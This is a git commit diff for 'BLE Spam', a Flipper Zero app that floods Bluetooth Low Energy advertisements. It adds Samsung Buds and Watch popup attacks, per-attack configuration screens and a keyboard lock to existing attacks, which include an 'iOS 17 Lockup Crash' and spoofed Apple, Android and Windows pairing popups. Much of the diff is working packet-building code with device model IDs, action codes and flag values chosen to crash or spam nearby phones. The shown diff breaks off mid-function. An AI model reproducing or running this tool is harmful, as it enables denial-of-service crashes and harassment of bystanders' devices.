This commit is contained in:
Sil333033
2023-10-22 22:50:37 +02:00
34 changed files with 2012 additions and 265 deletions

View File

@@ -8,7 +8,7 @@ App(
fap_category="Bluetooth",
fap_author="@Willy-JL @ECTO-1A @Spooks4576",
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
fap_version="2.0",
fap_version="3.3",
fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
fap_icon_assets="icons",
fap_icon_assets_symbol="ble_spam",

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@@ -1,26 +1,20 @@
#include "ble_spam.h"
#include <gui/gui.h>
#include <furi_hal_bt.h>
#include <gui/elements.h>
#include "protocols/_registry.h"
#include "protocols/_protocols.h"
// Hacked together by @Willy-JL
// Custom adv API by @Willy-JL (idea by @xMasterX)
// iOS 17 Crash by @ECTO-1A
// Android and Windows Pairs by @Spooks4576 and @ECTO-1A
// Android, Samsung and Windows Pairs by @Spooks4576 and @ECTO-1A
// Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
typedef struct {
const char* title;
const char* text;
const BleSpamProtocol* protocol;
BleSpamPayload payload;
} Attack;
static Attack attacks[] = {
{
.title = "+ Kitchen Sink",
.title = "The Kitchen Sink",
.text = "Flood all attacks at once",
.protocol = NULL,
.payload =
@@ -32,7 +26,7 @@ static Attack attacks[] = {
{
.title = "iOS 17 Lockup Crash",
.text = "Newer iPhones, long range",
.protocol = &ble_spam_protocol_continuity,
.protocol = &protocol_continuity,
.payload =
{
.random_mac = false,
@@ -49,7 +43,7 @@ static Attack attacks[] = {
{
.title = "Apple Action Modal",
.text = "Lock cooldown, long range",
.protocol = &ble_spam_protocol_continuity,
.protocol = &protocol_continuity,
.payload =
{
.random_mac = false,
@@ -66,7 +60,7 @@ static Attack attacks[] = {
{
.title = "Apple Device Popup",
.text = "No cooldown, close range",
.protocol = &ble_spam_protocol_continuity,
.protocol = &protocol_continuity,
.payload =
{
.random_mac = false,
@@ -81,9 +75,9 @@ static Attack attacks[] = {
},
},
{
.title = "Android Device Pair",
.title = "Android Device Connect",
.text = "Reboot cooldown, long range",
.protocol = &ble_spam_protocol_fastpair,
.protocol = &protocol_fastpair,
.payload =
{
.random_mac = true,
@@ -93,10 +87,44 @@ static Attack attacks[] = {
},
},
},
{
.title = "Samsung Buds Popup",
.text = "No cooldown, long range",
.protocol = &protocol_easysetup,
.payload =
{
.random_mac = true,
.cfg =
{
.easysetup =
{
.type = EasysetupTypeBuds,
.data = {},
},
},
},
},
{
.title = "Samsung Watch Pair",
.text = "No cooldown, long range",
.protocol = &protocol_easysetup,
.payload =
{
.random_mac = true,
.cfg =
{
.easysetup =
{
.type = EasysetupTypeWatch,
.data = {},
},
},
},
},
{
.title = "Windows Device Found",
.text = "Requires enabling SwiftPair",
.protocol = &ble_spam_protocol_swiftpair,
.text = "No cooldown, short range",
.protocol = &protocol_swiftpair,
.payload =
{
.random_mac = true,
@@ -108,11 +136,17 @@ static Attack attacks[] = {
},
};
#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
#define ATTACKS_COUNT ((signed)COUNT_OF(attacks))
uint16_t delays[] = {20, 50, 100, 200};
static uint16_t delays[] = {20, 50, 100, 200};
typedef struct {
Ctx ctx;
View* main_view;
bool lock_warning;
uint8_t lock_count;
FuriTimer* lock_timer;
bool resume;
bool advertising;
uint8_t delay;
@@ -120,22 +154,43 @@ typedef struct {
int8_t index;
} State;
static int32_t adv_thread(void* ctx) {
State* state = ctx;
NotificationMessage blink_message = {
.type = NotificationMessageTypeLedBlinkStart,
.data.led_blink.color = LightBlue | LightGreen,
.data.led_blink.on_time = 10,
.data.led_blink.period = 100,
};
const NotificationSequence blink_sequence = {
&blink_message,
&message_do_not_reset,
NULL,
};
static void start_blink(State* state) {
uint16_t period = delays[state->delay];
if(period <= 100) period += 30;
blink_message.data.led_blink.period = period;
notification_message_block(state->ctx.notification, &blink_sequence);
}
static void stop_blink(State* state) {
notification_message_block(state->ctx.notification, &sequence_blink_stop);
}
static int32_t adv_thread(void* _ctx) {
State* state = _ctx;
uint8_t size;
uint16_t delay;
uint8_t* packet;
uint8_t mac[GAP_MAC_ADDR_SIZE];
BleSpamPayload* payload = &attacks[state->index].payload;
const BleSpamProtocol* protocol = attacks[state->index].protocol;
Payload* payload = &attacks[state->index].payload;
const Protocol* protocol = attacks[state->index].protocol;
if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
if(state->ctx.led_indicator) start_blink(state);
while(state->advertising) {
if(protocol) {
protocol->make_packet(&size, &packet, &payload->cfg);
} else {
ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
&size, &packet, NULL);
protocols[rand() % protocols_count]->make_packet(&size, &packet, NULL);
}
furi_hal_bt_custom_adv_set(packet, size);
free(packet);
@@ -147,6 +202,7 @@ static int32_t adv_thread(void* ctx) {
furi_hal_bt_custom_adv_stop();
}
if(state->ctx.led_indicator) stop_blink(state);
return 0;
}
@@ -157,28 +213,33 @@ static void toggle_adv(State* state) {
furi_thread_join(state->thread);
if(state->resume) furi_hal_bt_start_advertising();
} else {
state->advertising = true;
state->resume = furi_hal_bt_is_active();
furi_hal_bt_stop_advertising();
state->advertising = true;
furi_thread_start(state->thread);
}
}
#define PAGE_MIN (-3)
#define PAGE_MAX ATTACK_COUNT
#define PAGE_MIN (-4)
#define PAGE_MAX ATTACKS_COUNT
enum {
PageHelpApps = PAGE_MIN,
PageHelpDelay,
PageHelpDistance,
PageHelpInfoConfig,
PageStart = 0,
PageEnd = ATTACK_COUNT - 1,
PageEnd = ATTACKS_COUNT - 1,
PageAboutCredits = PAGE_MAX,
};
static void draw_callback(Canvas* canvas, void* ctx) {
State* state = ctx;
static void draw_callback(Canvas* canvas, void* _ctx) {
State* state = *(State**)_ctx;
const char* back = "Back";
const char* next = "Next";
if(state->index < 0) {
back = "Next";
next = "Back";
}
switch(state->index) {
case PageStart - 1:
next = "Spam";
@@ -195,12 +256,12 @@ static void draw_callback(Canvas* canvas, void* ctx) {
}
const Attack* attack =
(state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
const BleSpamPayload* payload = attack ? &attack->payload : NULL;
const BleSpamProtocol* protocol = attack ? attack->protocol : NULL;
(state->index >= 0 && state->index <= ATTACKS_COUNT - 1) ? &attacks[state->index] : NULL;
const Payload* payload = attack ? &attack->payload : NULL;
const Protocol* protocol = attack ? attack->protocol : NULL;
canvas_set_font(canvas, FontSecondary);
canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam);
canvas_draw_str(canvas, 14, 12, "BLE Spam");
switch(state->index) {
@@ -247,9 +308,25 @@ static void draw_callback(Canvas* canvas, void* ctx) {
48,
AlignLeft,
AlignTop,
"\e#Distance\e# is limited, attacks\n"
"work under 1 meter but a\n"
"few are marked 'long range'",
"\e#Distance\e# varies greatly:\n"
"some are long range (>30 m)\n"
"others are close range (<1 m)",
false);
break;
case PageHelpInfoConfig:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"See \e#more info\e# and change\n"
"\e#attack options\e# by holding\n"
"Ok on each attack page",
false);
break;
case PageAboutCredits:
@@ -266,11 +343,15 @@ static void draw_callback(Canvas* canvas, void* ctx) {
"App+Spam: \e#WillyJL\e# XFW\n"
"Apple+Crash: \e#ECTO-1A\e#\n"
"Android+Win: \e#Spooks4576\e#\n"
" Version \e#2.0\e#",
" Version \e#3.3\e#",
false);
break;
default: {
if(!attack) break;
if(state->ctx.lock_keyboard && !state->advertising) {
// Forgive me Lord for I have sinned by handling state in draw
toggle_adv(state);
}
char str[32];
canvas_set_font(canvas, FontBatteryPercent);
@@ -285,12 +366,12 @@ static void draw_callback(Canvas* canvas, void* ctx) {
sizeof(str),
"%02i/%02i: %s",
state->index + 1,
ATTACK_COUNT,
protocol ? protocol->get_name(&payload->cfg) : "Everything");
ATTACKS_COUNT,
protocol ? protocol->get_name(&payload->cfg) : "Everything AND");
canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 4, 32, attack->title);
canvas_draw_str(canvas, 4, 33, attack->title);
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 4, 46, attack->text);
@@ -306,50 +387,68 @@ static void draw_callback(Canvas* canvas, void* ctx) {
if(state->index < PAGE_MAX) {
elements_button_right(canvas, next);
}
}
static void input_callback(InputEvent* input, void* ctx) {
FuriMessageQueue* input_queue = ctx;
if(input->type == InputTypeShort || input->type == InputTypeLong ||
input->type == InputTypeRepeat) {
furi_message_queue_put(input_queue, input, 0);
if(state->lock_warning) {
canvas_set_font(canvas, FontSecondary);
elements_bold_rounded_frame(canvas, 14, 8, 99, 48);
elements_multiline_text(canvas, 65, 26, "To unlock\npress:");
canvas_draw_icon(canvas, 65, 42, &I_Pin_back_arrow_10x8);
canvas_draw_icon(canvas, 80, 42, &I_Pin_back_arrow_10x8);
canvas_draw_icon(canvas, 95, 42, &I_Pin_back_arrow_10x8);
canvas_draw_icon(canvas, 16, 13, &I_WarningDolphin_45x42);
canvas_draw_dot(canvas, 17, 61);
}
}
int32_t ble_spam(void* p) {
UNUSED(p);
State* state = malloc(sizeof(State));
state->thread = furi_thread_alloc();
furi_thread_set_callback(state->thread, adv_thread);
furi_thread_set_context(state->thread, state);
furi_thread_set_stack_size(state->thread, 4096);
static bool input_callback(InputEvent* input, void* _ctx) {
View* view = _ctx;
State* state = *(State**)view_get_model(view);
bool consumed = false;
FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
ViewPort* view_port = view_port_alloc();
Gui* gui = furi_record_open(RECORD_GUI);
view_port_input_callback_set(view_port, input_callback, input_queue);
view_port_draw_callback_set(view_port, draw_callback, state);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
if(state->ctx.lock_keyboard) {
consumed = true;
with_view_model(
state->main_view, State * *model, { (*model)->lock_warning = true; }, true);
if(state->lock_count == 0) {
furi_timer_start(state->lock_timer, pdMS_TO_TICKS(1000));
}
if(input->type == InputTypeShort && input->key == InputKeyBack) {
state->lock_count++;
}
if(state->lock_count >= 3) {
furi_timer_start(state->lock_timer, 1);
}
} else if(
input->type == InputTypeShort || input->type == InputTypeLong ||
input->type == InputTypeRepeat) {
consumed = true;
bool running = true;
while(running) {
InputEvent input;
furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
bool is_attack = state->index >= 0 && state->index <= ATTACKS_COUNT - 1;
bool advertising = state->advertising;
switch(input.key) {
switch(input->key) {
case InputKeyOk:
if(is_attack) toggle_adv(state);
if(is_attack) {
if(input->type == InputTypeLong) {
if(advertising) toggle_adv(state);
state->ctx.attack = &attacks[state->index];
scene_manager_set_scene_state(state->ctx.scene_manager, SceneConfig, 0);
scene_manager_next_scene(state->ctx.scene_manager, SceneConfig);
} else if(input->type == InputTypeShort) {
toggle_adv(state);
}
}
break;
case InputKeyUp:
if(is_attack && state->delay < COUNT_OF(delays) - 1) {
state->delay++;
if(advertising) start_blink(state);
}
break;
case InputKeyDown:
if(is_attack && state->delay > 0) {
state->delay--;
if(advertising) start_blink(state);
}
break;
case InputKeyLeft:
@@ -366,20 +465,104 @@ int32_t ble_spam(void* p) {
break;
case InputKeyBack:
if(advertising) toggle_adv(state);
running = false;
consumed = false;
break;
default:
continue;
break;
}
view_port_update(view_port);
}
gui_remove_view_port(gui, view_port);
furi_record_close(RECORD_GUI);
view_port_free(view_port);
furi_message_queue_free(input_queue);
view_commit_model(view, consumed);
return consumed;
}
static void lock_timer_callback(void* _ctx) {
State* state = _ctx;
if(state->lock_count < 3) {
notification_message_block(state->ctx.notification, &sequence_display_backlight_off);
} else {
state->ctx.lock_keyboard = false;
}
with_view_model(
state->main_view, State * *model, { (*model)->lock_warning = false; }, true);
state->lock_count = 0;
}
static bool back_event_callback(void* _ctx) {
Ctx* ctx = _ctx;
return scene_manager_handle_back_event(ctx->scene_manager);
}
int32_t ble_spam(void* p) {
UNUSED(p);
State* state = malloc(sizeof(State));
state->thread = furi_thread_alloc();
furi_thread_set_callback(state->thread, adv_thread);
furi_thread_set_context(state->thread, state);
furi_thread_set_stack_size(state->thread, 4096);
state->ctx.led_indicator = true;
state->lock_timer = furi_timer_alloc(lock_timer_callback, FuriTimerTypeOnce, state);
state->ctx.notification = furi_record_open(RECORD_NOTIFICATION);
Gui* gui = furi_record_open(RECORD_GUI);
state->ctx.view_dispatcher = view_dispatcher_alloc();
view_dispatcher_enable_queue(state->ctx.view_dispatcher);
view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, &state->ctx);
view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback);
state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx);
state->main_view = view_alloc();
view_allocate_model(state->main_view, ViewModelTypeLocking, sizeof(State*));
with_view_model(
state->main_view, State * *model, { *model = state; }, false);
view_set_context(state->main_view, state->main_view);
view_set_draw_callback(state->main_view, draw_callback);
view_set_input_callback(state->main_view, input_callback);
view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, state->main_view);
state->ctx.byte_input = byte_input_alloc();
view_dispatcher_add_view(
state->ctx.view_dispatcher, ViewByteInput, byte_input_get_view(state->ctx.byte_input));
state->ctx.submenu = submenu_alloc();
view_dispatcher_add_view(
state->ctx.view_dispatcher, ViewSubmenu, submenu_get_view(state->ctx.submenu));
state->ctx.text_input = text_input_alloc();
view_dispatcher_add_view(
state->ctx.view_dispatcher, ViewTextInput, text_input_get_view(state->ctx.text_input));
state->ctx.variable_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
state->ctx.view_dispatcher,
ViewVariableItemList,
variable_item_list_get_view(state->ctx.variable_item_list));
view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen);
scene_manager_next_scene(state->ctx.scene_manager, SceneMain);
view_dispatcher_run(state->ctx.view_dispatcher);
view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewByteInput);
byte_input_free(state->ctx.byte_input);
view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewSubmenu);
submenu_free(state->ctx.submenu);
view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewTextInput);
text_input_free(state->ctx.text_input);
view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList);
variable_item_list_free(state->ctx.variable_item_list);
view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain);
view_free(state->main_view);
scene_manager_free(state->ctx.scene_manager);
view_dispatcher_free(state->ctx.view_dispatcher);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_timer_free(state->lock_timer);
furi_thread_free(state->thread);
free(state);
return 0;

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@@ -0,0 +1,44 @@
#pragma once
#include <notification/notification_messages.h>
#include <gui/view_dispatcher.h>
#include <gui/modules/byte_input.h>
#include <gui/modules/submenu.h>
#include <gui/modules/text_input.h>
#include <gui/modules/variable_item_list.h>
#include "scenes/_setup.h"
enum {
ViewMain,
ViewByteInput,
ViewSubmenu,
ViewTextInput,
ViewVariableItemList,
};
enum {
ConfigRandomMac,
ConfigExtraStart = ConfigRandomMac,
ConfigLedIndicator,
ConfigLockKeyboard,
};
typedef struct Attack Attack;
typedef struct {
Attack* attack;
uint8_t byte_store[3];
VariableItemListEnterCallback fallback_config_enter;
bool led_indicator;
bool lock_keyboard;
NotificationApp* notification;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
ByteInput* byte_input;
Submenu* submenu;
TextInput* text_input;
VariableItemList* variable_item_list;
} Ctx;

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@@ -8,11 +8,14 @@
#include "ble_spam_icons.h"
#include <furi_hal_random.h>
#include <core/core_defines.h>
#include "../ble_spam.h"
typedef union BleSpamProtocolCfg BleSpamProtocolCfg;
typedef union ProtocolCfg ProtocolCfg;
typedef struct {
const Icon* icon;
const char* (*get_name)(const BleSpamProtocolCfg* _cfg);
void (*make_packet)(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg);
} BleSpamProtocol;
const char* (*get_name)(const ProtocolCfg* _cfg);
void (*make_packet)(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg);
void (*extra_config)(Ctx* ctx);
uint8_t (*config_count)(const ProtocolCfg* _cfg);
} Protocol;

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@@ -0,0 +1,10 @@
#include "_protocols.h"
const Protocol* protocols[] = {
&protocol_continuity,
&protocol_fastpair,
&protocol_easysetup,
&protocol_swiftpair,
};
const size_t protocols_count = COUNT_OF(protocols);

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@@ -0,0 +1,29 @@
#pragma once
#include "continuity.h"
#include "fastpair.h"
#include "easysetup.h"
#include "swiftpair.h"
union ProtocolCfg {
ContinuityCfg continuity;
FastpairCfg fastpair;
EasysetupCfg easysetup;
SwiftpairCfg swiftpair;
};
extern const Protocol* protocols[];
extern const size_t protocols_count;
typedef struct {
bool random_mac;
ProtocolCfg cfg;
} Payload;
struct Attack {
const char* title;
const char* text;
const Protocol* protocol;
Payload payload;
};

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@@ -1,9 +0,0 @@
#include "_registry.h"
const BleSpamProtocol* ble_spam_protocols[] = {
&ble_spam_protocol_continuity,
&ble_spam_protocol_fastpair,
&ble_spam_protocol_swiftpair,
};
const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);

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@@ -1,20 +0,0 @@
#pragma once
#include "continuity.h"
#include "fastpair.h"
#include "swiftpair.h"
union BleSpamProtocolCfg {
ContinuityCfg continuity;
FastpairCfg fastpair;
SwiftpairCfg swiftpair;
};
extern const BleSpamProtocol* ble_spam_protocols[];
extern const size_t ble_spam_protocols_count;
typedef struct {
bool random_mac;
BleSpamProtocolCfg cfg;
} BleSpamPayload;

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@@ -0,0 +1,4 @@
#include "continuity_scenes.h"
#include "fastpair_scenes.h"
#include "easysetup_scenes.h"
#include "swiftpair_scenes.h"

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@@ -1,28 +1,83 @@
#include "continuity.h"
#include "_registry.h"
#include "_protocols.h"
// Hacked together by @Willy-JL
// iOS 17 Crash by @ECTO-1A
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
static const char* type_names[ContinuityTypeCount] = {
const struct {
uint16_t value;
const char* name;
} pp_models[] = {
{0x0E20, "AirPods Pro"},
{0x0620, "Beats Solo 3"},
{0x0A20, "AirPods Max"},
{0x1020, "Beats Flex"},
{0x0055, "Airtag"},
{0x0030, "Hermes Airtag"},
{0x0220, "AirPods"},
{0x0F20, "AirPods 2nd Gen"},
{0x1320, "AirPods 3rd Gen"},
{0x1420, "AirPods Pro 2nd Gen"},
{0x0320, "Powerbeats 3"},
{0x0B20, "Powerbeats Pro"},
{0x0C20, "Beats Solo Pro"},
{0x1120, "Beats Studio Buds"},
{0x0520, "Beats X"},
{0x0920, "Beats Studio 3"},
{0x1720, "Beats Studio Pro"},
{0x1220, "Beats Fit Pro"},
{0x1620, "Beats Studio Buds+"},
};
const uint8_t pp_models_count = COUNT_OF(pp_models);
const struct {
uint8_t value;
const char* name;
} pp_prefixes[] = {
{0x01, "New Device"},
{0x07, "Not Your Device"},
{0x05, "New Airtag"},
};
const uint8_t pp_prefixes_count = COUNT_OF(pp_prefixes);
const struct {
uint8_t value;
const char* name;
} na_actions[] = {
{0x13, "AppleTV AutoFill"},
{0x27, "AppleTV Connecting..."},
{0x20, "Join This AppleTV?"},
{0x19, "AppleTV Audio Sync"},
{0x1E, "AppleTV Color Balance"},
{0x09, "Setup New iPhone"},
{0x02, "Transfer Phone Number"},
{0x0B, "HomePod Setup"},
{0x01, "Setup New AppleTV"},
{0x06, "Pair AppleTV"},
{0x0D, "HomeKit AppleTV Setup"},
{0x2B, "AppleID for AppleTV?"},
};
const uint8_t na_actions_count = COUNT_OF(na_actions);
static const char* type_names[ContinuityTypeCOUNT] = {
[ContinuityTypeAirDrop] = "AirDrop",
[ContinuityTypeProximityPair] = "Proximity Pair",
[ContinuityTypeProximityPair] = "Continuity Pair",
[ContinuityTypeAirplayTarget] = "Airplay Target",
[ContinuityTypeHandoff] = "Handoff",
[ContinuityTypeTetheringSource] = "Tethering Source",
[ContinuityTypeNearbyAction] = "Nearby Action",
[ContinuityTypeNearbyAction] = "Continuity Action",
[ContinuityTypeNearbyInfo] = "Nearby Info",
[ContinuityTypeCustomCrash] = "Custom Packet",
[ContinuityTypeCustomCrash] = "Continuity Custom",
};
const char* continuity_get_name(const BleSpamProtocolCfg* _cfg) {
static const char* continuity_get_name(const ProtocolCfg* _cfg) {
const ContinuityCfg* cfg = &_cfg->continuity;
return type_names[cfg->type];
}
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
static uint8_t packet_sizes[ContinuityTypeCount] = {
static uint8_t packet_sizes[ContinuityTypeCOUNT] = {
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
@@ -32,8 +87,7 @@ static uint8_t packet_sizes[ContinuityTypeCount] = {
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
};
void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) {
static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL;
ContinuityType type;
@@ -88,28 +142,7 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt
if(cfg && cfg->data.proximity_pair.model != 0x0000) {
model = cfg->data.proximity_pair.model;
} else {
const uint16_t models[] = {
0x0E20, // AirPods Pro
0x0620, // Beats Solo 3
0x0A20, // AirPods Max
0x1020, // Beats Flex
0x0055, // Airtag
0x0030, // Hermes Airtag
0x0220, // AirPods
0x0F20, // AirPods 2nd Gen
0x1320, // AirPods 3rd Gen
0x1420, // AirPods Pro 2nd Gen
0x0320, // Powerbeats 3
0x0B20, // Powerbeats Pro
0x0C20, // Beats Solo Pro
0x1120, // Beats Studio Buds
0x0520, // Beats X
0x0920, // Beats Studio 3
0x1720, // Beats Studio Pro
0x1220, // Beats Fit Pro
0x1620, // Beats Studio Buds+
};
model = models[rand() % COUNT_OF(models)];
model = pp_models[rand() % pp_models_count].value;
}
uint8_t prefix;
@@ -176,37 +209,23 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt
case ContinuityTypeNearbyAction: {
uint8_t action;
if(cfg && cfg->data.nearby_action.type != 0x00) {
action = cfg->data.nearby_action.type;
if(cfg && cfg->data.nearby_action.action != 0x00) {
action = cfg->data.nearby_action.action;
} else {
const uint8_t actions[] = {
0x13, // AppleTV AutoFill
0x27, // AppleTV Connecting...
0x20, // Join This AppleTV?
0x19, // AppleTV Audio Sync
0x1E, // AppleTV Color Balance
0x09, // Setup New iPhone
0x02, // Transfer Phone Number
0x0B, // HomePod Setup
0x01, // Setup New AppleTV
0x06, // Pair AppleTV
0x0D, // HomeKit AppleTV Setup
0x2B, // AppleID for AppleTV?
};
action = actions[rand() % COUNT_OF(actions)];
action = na_actions[rand() % na_actions_count].value;
}
uint8_t flag;
uint8_t flags;
if(cfg && cfg->data.nearby_action.flags != 0x00) {
flag = cfg->data.nearby_action.flags;
flags = cfg->data.nearby_action.flags;
} else {
flag = 0xC0;
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
flags = 0xC0;
if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
}
packet[i++] = flag; // Action Flags
packet[i++] = action; // Action Type
packet[i++] = flags;
packet[i++] = action;
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
break;
@@ -224,31 +243,16 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt
case ContinuityTypeCustomCrash: {
// Found by @ECTO-1A
const uint8_t actions[] = {
0x13, // AppleTV AutoFill
0x27, // AppleTV Connecting...
0x20, // Join This AppleTV?
0x19, // AppleTV Audio Sync
0x1E, // AppleTV Color Balance
0x09, // Setup New iPhone
0x02, // Transfer Phone Number
0x0B, // HomePod Setup
0x01, // Setup New AppleTV
0x06, // Pair AppleTV
0x0D, // HomeKit AppleTV Setup
0x2B, // AppleID for AppleTV?
};
uint8_t action = actions[rand() % COUNT_OF(actions)];
uint8_t flag = 0xC0;
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
uint8_t action = na_actions[rand() % na_actions_count].value;
uint8_t flags = 0xC0;
if(action == 0x20 && rand() % 2) flags--; // More spam for 'Join This AppleTV?'
if(action == 0x09 && rand() % 2) flags = 0x40; // Glitched 'Setup New Device'
i -= 2; // Override segment header
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
packet[i++] = 0x05; // Continuity Size
packet[i++] = flag; // Action Flags
packet[i++] = action; // Action Type
packet[i++] = flags;
packet[i++] = action;
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
@@ -269,8 +273,534 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt
*_packet = packet;
}
const BleSpamProtocol ble_spam_protocol_continuity = {
enum {
_ConfigPpExtraStart = ConfigExtraStart,
ConfigPpModel,
ConfigPpPrefix,
ConfigPpCOUNT,
};
enum {
_ConfigNaExtraStart = ConfigExtraStart,
ConfigNaAction,
ConfigNaFlags,
ConfigNaCOUNT,
};
enum {
_ConfigCcExtraStart = ConfigExtraStart,
ConfigCcInfoLock,
ConfigCcInfoDevice,
ConfigCcCOUNT,
};
static void config_callback(void* _ctx, uint32_t index) {
Ctx* ctx = _ctx;
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
switch(cfg->type) {
case ContinuityTypeProximityPair: {
switch(index) {
case ConfigPpModel:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpModel);
break;
case ConfigPpPrefix:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityPpPrefix);
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
case ContinuityTypeNearbyAction: {
switch(index) {
case ConfigNaAction:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaAction);
break;
case ConfigNaFlags:
scene_manager_next_scene(ctx->scene_manager, SceneContinuityNaFlags);
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
case ContinuityTypeCustomCrash: {
switch(index) {
case ConfigCcInfoLock:
case ConfigCcInfoDevice:
break;
default:
ctx->fallback_config_enter(ctx, index);
break;
}
break;
}
default:
ctx->fallback_config_enter(ctx, index);
break;
}
}
static void pp_model_changed(VariableItem* item) {
ContinuityCfg* cfg = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
cfg->data.proximity_pair.model = pp_models[index].value;
variable_item_set_current_value_text(item, pp_models[index].name);
} else {
cfg->data.proximity_pair.model = 0x0000;
variable_item_set_current_value_text(item, "Random");
}
}
static void pp_prefix_changed(VariableItem* item) {
ContinuityCfg* cfg = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
cfg->data.proximity_pair.prefix = pp_prefixes[index].value;
variable_item_set_current_value_text(item, pp_prefixes[index].name);
} else {
cfg->data.proximity_pair.prefix = 0x00;
variable_item_set_current_value_text(item, "Auto");
}
}
static void na_action_changed(VariableItem* item) {
ContinuityCfg* cfg = variable_item_get_context(item);
uint8_t index = variable_item_get_current_value_index(item);
if(index) {
index--;
cfg->data.nearby_action.action = na_actions[index].value;
variable_item_set_current_value_text(item, na_actions[index].name);
} else {
cfg->data.nearby_action.action = 0x00;
variable_item_set_current_value_text(item, "Random");
}
}
static void continuity_extra_config(Ctx* ctx) {
ContinuityCfg* cfg = &ctx->attack->payload.cfg.continuity;
VariableItemList* list = ctx->variable_item_list;
VariableItem* item;
size_t value_index;
switch(cfg->type) {
case ContinuityTypeProximityPair: {
item =
variable_item_list_add(list, "Model Code", pp_models_count + 1, pp_model_changed, cfg);
const char* model_name = NULL;
char model_name_buf[5];
if(cfg->data.proximity_pair.model == 0x0000) {
model_name = "Random";
value_index = 0;
} else {
for(uint8_t i = 0; i < pp_models_count; i++) {
if(cfg->data.proximity_pair.model == pp_models[i].value) {
model_name = pp_models[i].name;
value_index = i + 1;
break;
}
}
if(!model_name) {
snprintf(
model_name_buf, sizeof(model_name_buf), "%04X", cfg->data.proximity_pair.model);
model_name = model_name_buf;
value_index = pp_models_count + 1;
}
}
variable_item_set_current_value_index(item, value_index);
variable_item_set_current_value_text(item, model_name);
item =
variable_item_list_add(list, "Prefix", pp_prefixes_count + 1, pp_prefix_changed, cfg);
const char* prefix_name = NULL;
char prefix_name_buf[3];
if(cfg->data.proximity_pair.prefix == 0x00) {
prefix_name = "Auto";
value_index = 0;
} else {
for(uint8_t i = 0; i < pp_prefixes_count; i++) {
if(cfg->data.proximity_pair.prefix == pp_prefixes[i].value) {
prefix_name = pp_prefixes[i].name;
value_index = i + 1;
